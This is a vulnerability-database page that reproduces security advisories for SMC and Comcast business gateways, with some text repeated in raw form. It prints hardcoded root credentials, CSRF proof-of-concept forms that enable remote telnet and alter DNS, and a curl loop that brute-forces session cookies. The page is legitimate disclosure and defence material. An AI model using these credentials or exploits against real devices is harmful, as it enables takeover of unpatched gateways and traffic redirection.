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10 vulnerabilities by smc
VAR-201207-0169
Vulnerability from variot - Updated: 2025-04-11 23:09The web interface on the SMC SMC8024L2 switch allows remote attackers to bypass authentication and obtain administrative access via a direct request to a .html file under (1) status/, (2) system/, (3) ports/, (4) trunks/, (5) vlans/, (6) qos/, (7) rstp/, (8) dot1x/, (9) security/, (10) igmps/, or (11) snmp/. SMC8024L2 There is an authentication bypass vulnerability in the web management screen. SMC Networks Inc. Network switch provided by SMC8024L2 There is an authentication bypass vulnerability in the web management screen. In the web interface URL By directly entering, you can access without requiring authentication.A remote attacker may change the settings of the product. The SMC Networks SMC8024L2 Switch is a powerful switch. The WEB interface of the SMC Networks SMC8024L2 switch incorrectly restricts user access. The SMC8024L2 is a multifunctional 10/100/1000BASE-T independently managed switch
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VAR-201102-0084
Vulnerability from variot - Updated: 2025-04-11 23:02Multiple cross-site request forgery (CSRF) vulnerabilities in the web interface on the SMC SMCD3G-CCR (aka Comcast Business Gateway) with firmware before 1.4.0.49.2 allow remote attackers to (1) hijack the intranet connectivity of arbitrary users for requests that perform a login via goform/login, or hijack the authentication of administrators for requests that (2) enable external logins via an mso_remote_enable action to goform/RemoteRange or (3) change DNS settings via a manual_dns_enable action to goform/Basic. Comcast DOCSIS is prone to multiple cross-site request-forgery and security-bypass vulnerabilities in business gateways. Exploiting these issues may allow a remote attacker to perform certain administrative actions, bypass certain security restrictions, gain unauthorized access to the affected device, or delete certain data. Other attacks are also possible. Comcast DOCSIS 3.0 is vulnerable; other versions may also be affected. ----------------------------------------------------------------------
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TITLE: SMC SMCD3G-CCR Two Vulnerabilities
SECUNIA ADVISORY ID: SA43199
VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/43199/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=43199
RELEASE DATE: 2011-03-05
DISCUSS ADVISORY: http://secunia.com/advisories/43199/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s)
http://secunia.com/advisories/43199/
ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=43199
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION: Two vulnerabilities have been reported in SMC SMCD3G-CCR, which can be exploited by malicious people to conduct brute force and cross-site request forgery attacks.
1) The web management application generates session identifiers incrementally, which can be exploited to brute force a valid session identifier via the "userid" cookie.
2) The web management application allows users to perform certain actions via HTTP requests without making proper validity checks to verify the requests. This can be exploited to e.g. enable management via Telnet by tricking an administrator into visiting a malicious web site while being logged-in to the application.
SOLUTION: Reportedly fixed in firmware version 1.4.0.49.2.
PROVIDED AND/OR DISCOVERED BY: Zack Fasel and Matthew Jakubowski, Trustwave's SpiderLabs.
ORIGINAL ADVISORY: Trustwave's SpiderLabs (TWSL2011-002): https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt
OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
DEEP LINKS: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXPLOIT: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities.
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. Trustwave's SpiderLabs Security Advisory TWSL2011-001: Vulnerabilities in Comcast DOCSIS 3.0 Business Gateways (SMCD3G-CCR)
https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt
Published: 2011-02-04 Version: 1.0
Vendor: Comcast (http://comcast.com) and SMC (http://www.smc.com) Product: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR Version affected: Versions prior to 1.4.0.49.2
Product description: The Comcast DOCSIS 3.0 Business Gateway provides end-user termination of cable internet services for Comcast Business Class customers with enhanced services including Network Address Translation (NAT), firewalling, and Virtual Private Network (VPN) termination.
Credit: Zack Fasel and Matthew Jakubowski of Trustwave's SpiderLabs
Finding 1: Static Credentials CVE: CVE-2011-0885
All SMCD3G-CCR gateways provided by Comcast have an administrative login of "mso" with the password of "D0nt4g3tme". These passwords are not provided as a part of the installation of the device and are not recommended to be changed, thus the majority of users are unaware of the default configuration.
With these default credentials, internal attackers can modify device configurations to leverage more significant attacks, including redirection of DNS requests, creation of a remote VPN termination point, and modification of NAT entries. These credentials provide access to the web interface for management, as well as a telnet interface that provides shell access to the device. The mso login provides shell as UID 0 (root).
Finding 2: Cross Site Request Forgery (CSRF) CVE: CVE-2011-0886 SMCD3G-CCR gateways provided by Comcast permit CSRF attacks against numerous management pages allowing an attacker to embed in a webpage a malicious request against the gateway's management interface. Through this, an attacker can modify device configuration and enable remote administration via a telnet shell and http.
The following Proof of Concept (PoC) connects to the gateway, logs in, modifies the remote administration to allow any user to connect externally, and modifies the DNS information.
smcd3g-csrf-poc.htm
smcd3g-csrf-poc-1.htm
document.tF.submit();smcd3g-csrf-poc-2.htm
setTimeout("document.RMangement.submit()",4000);
smcd3g-csrf-poc-3.htm
setTimeout("document.WanIPform.submit()",5000);If the PoC was embedded in any web page the targeted user visited while logged into the device, the attacker would be provided remote administration in to the gateway device include a telnet shell. This would allow the attacker to redirect traffic to a malicious end-point.
Finding 3: Weak Session Management CVE: CVE-2011-0887 SMCD3G-CCR gateways provided by Comcast utilize a predictable value to validate the active web management portal session. The epoch time of beginning of the session is stored as a cookie labeled "userid". This provides a predictable range of session IDs that can be brute-forced.
The following PoC attempts to brute force the session IDs by requesting the admin page with an incrementing cookie and determining whether it wants to redirect to login.asp.
smcd3g-session-poc.sh
!/bin/bash
start=1267604160
end=1267605960
for (( i=$start; i<=$end; i++)) do if [ curl -sb userid=$i
http://10.1.10.1/admin/index.asp | grep -c login.asp -lt
"1" ] then echo "Session ID Found: $i"
fi
if [ $(($i % 100)) -eq "0" ]
then echo "Currently at $i"
fi
done
Through this, an attacker can brute-force the possible valid session IDs. Sessions do by default expire within 10 minutes, thus the attack window is limited but can be leveraged with other attack methods.
Vendor Response: These issues have been addressed as of version 1.4.0.49.2
Remediation Steps: In order to determine if the correct version is installed, users should view the "About" link in the management interface. Versions 1.4.0.49.2 and above have been corrected.
Vendor Communication Timeline: 08/30/10 - Vulnerability disclosed 01/21/11 - Patch Released 02/04/11 - Advisory Published
Revision History: 1.0 Initial publication
References 1. http://www.smc.com/index.cfm?event=viewProduct&pid=1678
About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com
About Trustwave's SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs
Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
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"data": "Multiple cross-site request forgery (CSRF) vulnerabilities in the web interface on the SMC SMCD3G-CCR (aka Comcast Business Gateway) with firmware before 1.4.0.49.2 allow remote attackers to (1) hijack the intranet connectivity of arbitrary users for requests that perform a login via goform/login, or hijack the authentication of administrators for requests that (2) enable external logins via an mso_remote_enable action to goform/RemoteRange or (3) change DNS settings via a manual_dns_enable action to goform/Basic. Comcast DOCSIS is prone to multiple cross-site request-forgery and security-bypass vulnerabilities in business gateways. \nExploiting these issues may allow a remote attacker to perform certain administrative actions, bypass certain security restrictions, gain unauthorized access to the affected device, or delete certain data. Other attacks are also possible. \nComcast DOCSIS 3.0 is vulnerable; other versions may also be affected. ----------------------------------------------------------------------\n\n\nGet a tax break on purchases of Secunia Solutions!\n\nIf you are a U.S. company, you may be qualified for a tax break for your software purchases. Learn more at:\nhttp://secunia.com/products/corporate/vim/section_179/\n\n\n----------------------------------------------------------------------\n\nTITLE:\nSMC SMCD3G-CCR Two Vulnerabilities\n\nSECUNIA ADVISORY ID:\nSA43199\n\nVERIFY ADVISORY:\nSecunia.com\nhttp://secunia.com/advisories/43199/\nCustomer Area (Credentials Required)\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=43199\n\nRELEASE DATE:\n2011-03-05\n\nDISCUSS ADVISORY:\nhttp://secunia.com/advisories/43199/#comments\n\nAVAILABLE ON SITE AND IN CUSTOMER AREA:\n * Last Update\n * Popularity\n * Comments\n * Criticality Level\n * Impact\n * Where\n * Solution Status\n * Operating System / Software\n * CVE Reference(s)\n\nhttp://secunia.com/advisories/43199/\n\nONLY AVAILABLE IN CUSTOMER AREA:\n * Authentication Level\n * Report Reliability\n * Secunia PoC\n * Secunia Analysis\n * Systems Affected\n * Approve Distribution\n * Remediation Status\n * Secunia CVSS Score\n * CVSS\n\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=43199\n\nONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:\n * AUTOMATED SCANNING\n\nhttp://secunia.com/vulnerability_scanning/personal/\nhttp://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/\n\nDESCRIPTION:\nTwo vulnerabilities have been reported in SMC SMCD3G-CCR, which can\nbe exploited by malicious people to conduct brute force and\ncross-site request forgery attacks. \n\n1) The web management application generates session identifiers\nincrementally, which can be exploited to brute force a valid session\nidentifier via the \"userid\" cookie. \n\n2) The web management application allows users to perform certain\nactions via HTTP requests without making proper validity checks to\nverify the requests. This can be exploited to e.g. enable management\nvia Telnet by tricking an administrator into visiting a malicious web\nsite while being logged-in to the application. \n\nSOLUTION:\nReportedly fixed in firmware version 1.4.0.49.2. \n\nPROVIDED AND/OR DISCOVERED BY:\nZack Fasel and Matthew Jakubowski, Trustwave\u0027s SpiderLabs. \n\nORIGINAL ADVISORY:\nTrustwave\u0027s SpiderLabs (TWSL2011-002):\nhttps://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt\n\nOTHER REFERENCES:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nDEEP LINKS:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED DESCRIPTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED SOLUTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXPLOIT:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\nprivate users keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. Trustwave\u0027s SpiderLabs Security Advisory TWSL2011-001:\nVulnerabilities in Comcast DOCSIS 3.0 Business Gateways\n(SMCD3G-CCR)\n\nhttps://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt\n\nPublished: 2011-02-04\nVersion: 1.0\n\nVendor: Comcast (http://comcast.com) and SMC (http://www.smc.com)\nProduct: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR\nVersion affected: Versions prior to 1.4.0.49.2\n\nProduct description:\nThe Comcast DOCSIS 3.0 Business Gateway provides end-user termination of\ncable internet services for Comcast Business Class customers with enhanced\nservices including Network Address Translation (NAT), firewalling, and\nVirtual Private Network (VPN) termination. \n\nCredit: Zack Fasel and Matthew Jakubowski of Trustwave\u0027s SpiderLabs\n\nFinding 1: Static Credentials\nCVE: CVE-2011-0885\n\nAll SMCD3G-CCR gateways provided by Comcast have an administrative\nlogin of \"mso\" with the password of \"D0nt4g3tme\". These passwords\nare not provided as a part of the installation of the device and are\nnot recommended to be changed, thus the majority of users are unaware\nof the default configuration. \n\nWith these default credentials, internal attackers can modify device\nconfigurations to leverage more significant attacks, including redirection\nof DNS requests, creation of a remote VPN termination point, and\nmodification of NAT entries. These credentials provide access to the web\ninterface for management, as well as a telnet interface that provides shell\naccess to the device. The mso login provides shell as UID 0 (root). \n\n\nFinding 2: Cross Site Request Forgery (CSRF)\nCVE: CVE-2011-0886\nSMCD3G-CCR gateways provided by Comcast permit CSRF attacks against\nnumerous management pages allowing an attacker to embed in a webpage a\nmalicious request against the gateway\u0027s management interface. Through\nthis, an attacker can modify device configuration and enable remote\nadministration via a telnet shell and http. \n\nThe following Proof of Concept (PoC) connects to the gateway, logs in,\nmodifies the remote administration to allow any user to connect externally,\nand modifies the DNS information. \n\n## smcd3g-csrf-poc.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-1.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-2.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-3.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e \u003c/body\u003e \u003c/html\u003e\n\n## smcd3g-csrf-poc-1.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://10.1.10.1/goform/login\" method=\"post\"\n name=\"tF\"\u003e\n\u003cinput type=\"hidden\" name=\"user\" value=\"mso\" /\u003e\n\u003cinput type=\"hidden\" name=\"pws\" value=\"D0nt4g3tme\" /\u003e\n\u003c/form\u003e \u003cscript\u003e document.tF.submit(); \u003c/script\u003e \u003c/body\u003e\n\u003c/html\u003e\n\n## smcd3g-csrf-poc-2.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://10.1.10.1/goform/RemoteRange\"\nname=\"RMangement\" method=\"post\"\u003e \u003cinput type=\"hidden\"\nvalue=\"feat-admin-remote\" name=\"file\"\u003e \u003cinput type=\"hidden\"\nvalue=\"admin/\" name=\"dir\"\u003e \u003cinput type=\"hidden\"\nname=\"RemoteRange\" value=\"0\" /\u003e \u003cinput type=\"hidden\"\nname=\"rm_access\" value=\"on\" /\u003e \u003cinput type=\"hidden\"\nname=\"Remote0\" value=\"0.0.0.0,0.0.0.0,1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_port\" value=\"8080\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_enable\" value=\"on\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"msoremote_enableCheck\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"mso_remote_enable\" value=\"1\" /\u003e\n\u003cinput type=\"hidden\" name=\"remote_enable\" value=\"0\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_enable\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_port\" value=\"8181\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_enable\" value=\"on\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_port\" value=\"2323\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"Remote1=\" value=\"\" /\u003e \u003c/form\u003e \u003c/body\u003e\n\u003c/html\u003e \u003cscript\u003e\nsetTimeout(\"document.RMangement.submit()\",4000);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n## smcd3g-csrf-poc-3.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform name=\"WanIPform\"\naction=\"http://10.1.10.1/goform/Basic\" method=\"post\"\u003e \u003cinput\ntype=\"hidden\" value=\"feat-wan-ip\" name=\"file\"\u003e \u003cinput\ntype=\"hidden\" value=\"admin/\" name=\"dir\"\u003e \u003cinput\ntype=\"hidden\" value=\"Fixed\" name=\"DNSAssign\"\u003e \u003cinput\ntype=\"hidden\" value=\"0\" name=\"dhcpc_release\"\u003e \u003cinput\ntype=\"hidden\" value=\"0\" name=\"dhcpc_renew\"\u003e \u003cinput\ntype=\"hidden\" value=\"\" name=\"domain_name\"\u003e \u003cinput\ntype=\"hidden\" value=\"\" name=\"WDn\"\u003e \u003cinput type=\"hidden\"\nname=\"SysName\" value=\"\" /\u003e \u003cinput type=\"hidden\"\nname=\"manual_dns_enable\" value=\"on\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr\" value=\"4.2.2.1\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr0\" value=\"4\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr1\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr2\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr3\" value=\"1\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr\" value=\"4.2.2.2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr0\" value=\"4\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr1\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr2\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr3\" value=\"2\" /\u003e \u003c/form\u003e \u003cscript\u003e\nsetTimeout(\"document.WanIPform.submit()\",5000);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\nIf the PoC was embedded in any web page the targeted user visited while\nlogged into the device, the attacker would be provided remote\nadministration in to the gateway device include a telnet shell. This would\nallow the attacker to redirect traffic to a malicious end-point. \n\n\nFinding 3: Weak Session Management\nCVE: CVE-2011-0887\nSMCD3G-CCR gateways provided by Comcast utilize a predictable value to\nvalidate the active web management portal session. The epoch time of\nbeginning of the session is stored as a cookie labeled \"userid\". This\nprovides a predictable range of session IDs that can be brute-forced. \n\nThe following PoC attempts to brute force the session IDs by requesting the\nadmin page with an incrementing cookie and determining whether it wants to\nredirect to login.asp. \n\n## smcd3g-session-poc.sh\n\n#!/bin/bash\nstart=1267604160\nend=1267605960\nfor (( i=$start; i\u003c=$end; i++)) do if [ `curl -sb userid=$i\nhttp://10.1.10.1/admin/index.asp | grep -c login.asp` -lt\n\"1\" ] then echo \"Session ID Found: $i\"\nfi\nif [ $(($i % 100)) -eq \"0\" ]\nthen echo \"Currently at $i\"\nfi\ndone\n\nThrough this, an attacker can brute-force the possible valid session IDs. \nSessions do by default expire within 10 minutes, thus the attack window is\nlimited but can be leveraged with other attack methods. \n\n\nVendor Response:\nThese issues have been addressed as of version 1.4.0.49.2\n\nRemediation Steps:\nIn order to determine if the correct version is installed, users should\nview the \"About\" link in the management interface. Versions 1.4.0.49.2 and\nabove have been corrected. \n\nVendor Communication Timeline:\n08/30/10 - Vulnerability disclosed\n01/21/11 - Patch Released\n02/04/11 - Advisory Published\n\nRevision History:\n1.0 Initial publication\n\nReferences\n1. http://www.smc.com/index.cfm?event=viewProduct\u0026pid=1678\n\n\nAbout Trustwave:\nTrustwave is the leading provider of on-demand and subscription-based\ninformation security and payment card industry compliance management\nsolutions to businesses and government entities throughout the world. For\norganizations faced with today\u0027s challenging data security and compliance\nenvironment, Trustwave provides a unique approach with comprehensive\nsolutions that include its flagship TrustKeeper compliance management\nsoftware and other proprietary security solutions. Trustwave has helped\nthousands of organizations--ranging from Fortune 500 businesses and large\nfinancial institutions to small and medium-sized retailers--manage\ncompliance and secure their network infrastructure, data communications and\ncritical information assets. Trustwave is headquartered in Chicago with\noffices throughout North America, South America, Europe, Africa, China and\nAustralia. For more information, visit https://www.trustwave.com\n\nAbout Trustwave\u0027s SpiderLabs:\nSpiderLabs(R) is the advanced security team at Trustwave focused on\napplication security, incident response, penetration testing, physical\nsecurity and security research. The team has performed over a thousand\nincident investigations, thousands of penetration tests and hundreds of\napplication security tests globally. In addition, the SpiderLabs Research\nteam provides intelligence through bleeding-edge research and proof of\nconcept tool development to enhance Trustwave\u0027s products and services. \nhttps://www.trustwave.com/spiderlabs\n\nDisclaimer:\nThe information provided in this advisory is provided \"as is\" without\nwarranty of any kind. Trustwave disclaims all warranties, either express or\nimplied, including the warranties of merchantability and fitness for a\nparticular purpose. In no event shall Trustwave or its suppliers be liable\nfor any damages whatsoever including direct, indirect, incidental,\nconsequential, loss of business profits or special damages, even if\nTrustwave or its suppliers have been advised of the possibility of such\ndamages. Some states do not allow the exclusion or limitation of liability\nfor consequential or incidental damages so the foregoing limitation may not\napply. \n\n\n\nThis transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. \n\n_______________________________________________\nFull-Disclosure - We believe in it. \nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n",
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VAR-201102-0085
Vulnerability from variot - Updated: 2025-04-11 23:02The web management portal on the SMC SMCD3G-CCR (aka Comcast Business Gateway) with firmware before 1.4.0.49.2 uses predictable session IDs based on time values, which makes it easier for remote attackers to hijack sessions via a brute-force attack on the userid cookie. Comcast DOCSIS is prone to multiple cross-site request-forgery and security-bypass vulnerabilities in business gateways. Exploiting these issues may allow a remote attacker to perform certain administrative actions, bypass certain security restrictions, gain unauthorized access to the affected device, or delete certain data. Other attacks are also possible. Comcast DOCSIS 3.0 is vulnerable; other versions may also be affected. ----------------------------------------------------------------------
Get a tax break on purchases of Secunia Solutions!
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TITLE: SMC SMCD3G-CCR Two Vulnerabilities
SECUNIA ADVISORY ID: SA43199
VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/43199/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=43199
RELEASE DATE: 2011-03-05
DISCUSS ADVISORY: http://secunia.com/advisories/43199/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s)
http://secunia.com/advisories/43199/
ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=43199
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION: Two vulnerabilities have been reported in SMC SMCD3G-CCR, which can be exploited by malicious people to conduct brute force and cross-site request forgery attacks.
2) The web management application allows users to perform certain actions via HTTP requests without making proper validity checks to verify the requests. This can be exploited to e.g. enable management via Telnet by tricking an administrator into visiting a malicious web site while being logged-in to the application.
SOLUTION: Reportedly fixed in firmware version 1.4.0.49.2.
PROVIDED AND/OR DISCOVERED BY: Zack Fasel and Matthew Jakubowski, Trustwave's SpiderLabs.
ORIGINAL ADVISORY: Trustwave's SpiderLabs (TWSL2011-002): https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt
OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
DEEP LINKS: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXPLOIT: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities.
Subscribe: http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/
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. Trustwave's SpiderLabs Security Advisory TWSL2011-001: Vulnerabilities in Comcast DOCSIS 3.0 Business Gateways (SMCD3G-CCR)
https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt
Published: 2011-02-04 Version: 1.0
Vendor: Comcast (http://comcast.com) and SMC (http://www.smc.com) Product: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR Version affected: Versions prior to 1.4.0.49.2
Product description: The Comcast DOCSIS 3.0 Business Gateway provides end-user termination of cable internet services for Comcast Business Class customers with enhanced services including Network Address Translation (NAT), firewalling, and Virtual Private Network (VPN) termination.
Credit: Zack Fasel and Matthew Jakubowski of Trustwave's SpiderLabs
Finding 1: Static Credentials CVE: CVE-2011-0885
All SMCD3G-CCR gateways provided by Comcast have an administrative login of "mso" with the password of "D0nt4g3tme". These passwords are not provided as a part of the installation of the device and are not recommended to be changed, thus the majority of users are unaware of the default configuration.
With these default credentials, internal attackers can modify device configurations to leverage more significant attacks, including redirection of DNS requests, creation of a remote VPN termination point, and modification of NAT entries. These credentials provide access to the web interface for management, as well as a telnet interface that provides shell access to the device. The mso login provides shell as UID 0 (root).
Finding 2: Cross Site Request Forgery (CSRF) CVE: CVE-2011-0886 SMCD3G-CCR gateways provided by Comcast permit CSRF attacks against numerous management pages allowing an attacker to embed in a webpage a malicious request against the gateway's management interface. Through this, an attacker can modify device configuration and enable remote administration via a telnet shell and http.
The following Proof of Concept (PoC) connects to the gateway, logs in, modifies the remote administration to allow any user to connect externally, and modifies the DNS information.
smcd3g-csrf-poc.htm
smcd3g-csrf-poc-1.htm
document.tF.submit();smcd3g-csrf-poc-2.htm
setTimeout("document.RMangement.submit()",4000);
smcd3g-csrf-poc-3.htm
setTimeout("document.WanIPform.submit()",5000);If the PoC was embedded in any web page the targeted user visited while logged into the device, the attacker would be provided remote administration in to the gateway device include a telnet shell. This would allow the attacker to redirect traffic to a malicious end-point.
Finding 3: Weak Session Management CVE: CVE-2011-0887 SMCD3G-CCR gateways provided by Comcast utilize a predictable value to validate the active web management portal session. The epoch time of beginning of the session is stored as a cookie labeled "userid". This provides a predictable range of session IDs that can be brute-forced.
The following PoC attempts to brute force the session IDs by requesting the admin page with an incrementing cookie and determining whether it wants to redirect to login.asp.
smcd3g-session-poc.sh
!/bin/bash
start=1267604160
end=1267605960
for (( i=$start; i<=$end; i++)) do if [ curl -sb userid=$i
http://10.1.10.1/admin/index.asp | grep -c login.asp -lt
"1" ] then echo "Session ID Found: $i"
fi
if [ $(($i % 100)) -eq "0" ]
then echo "Currently at $i"
fi
done
Through this, an attacker can brute-force the possible valid session IDs. Sessions do by default expire within 10 minutes, thus the attack window is limited but can be leveraged with other attack methods.
Vendor Response: These issues have been addressed as of version 1.4.0.49.2
Remediation Steps: In order to determine if the correct version is installed, users should view the "About" link in the management interface. Versions 1.4.0.49.2 and above have been corrected.
Vendor Communication Timeline: 08/30/10 - Vulnerability disclosed 01/21/11 - Patch Released 02/04/11 - Advisory Published
Revision History: 1.0 Initial publication
References 1. http://www.smc.com/index.cfm?event=viewProduct&pid=1678
About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com
About Trustwave's SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs
Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
